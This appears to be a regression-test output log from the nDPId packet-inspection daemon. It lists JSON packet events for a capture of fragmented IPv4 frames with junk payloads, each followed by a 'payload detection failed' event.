+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560274,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560290,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560305,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560319,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560335,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560379,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560408,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560422,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560439,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560454,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560469,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560489,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560504,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560518,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560533,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560548,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560561,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560576,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560589,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560601,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560614,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560628,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560642,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560655,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560668,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560683,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560696,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560710,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560725,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560737,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560750,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560764,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560777,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560790,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560803,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560815,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560828,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":560840,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 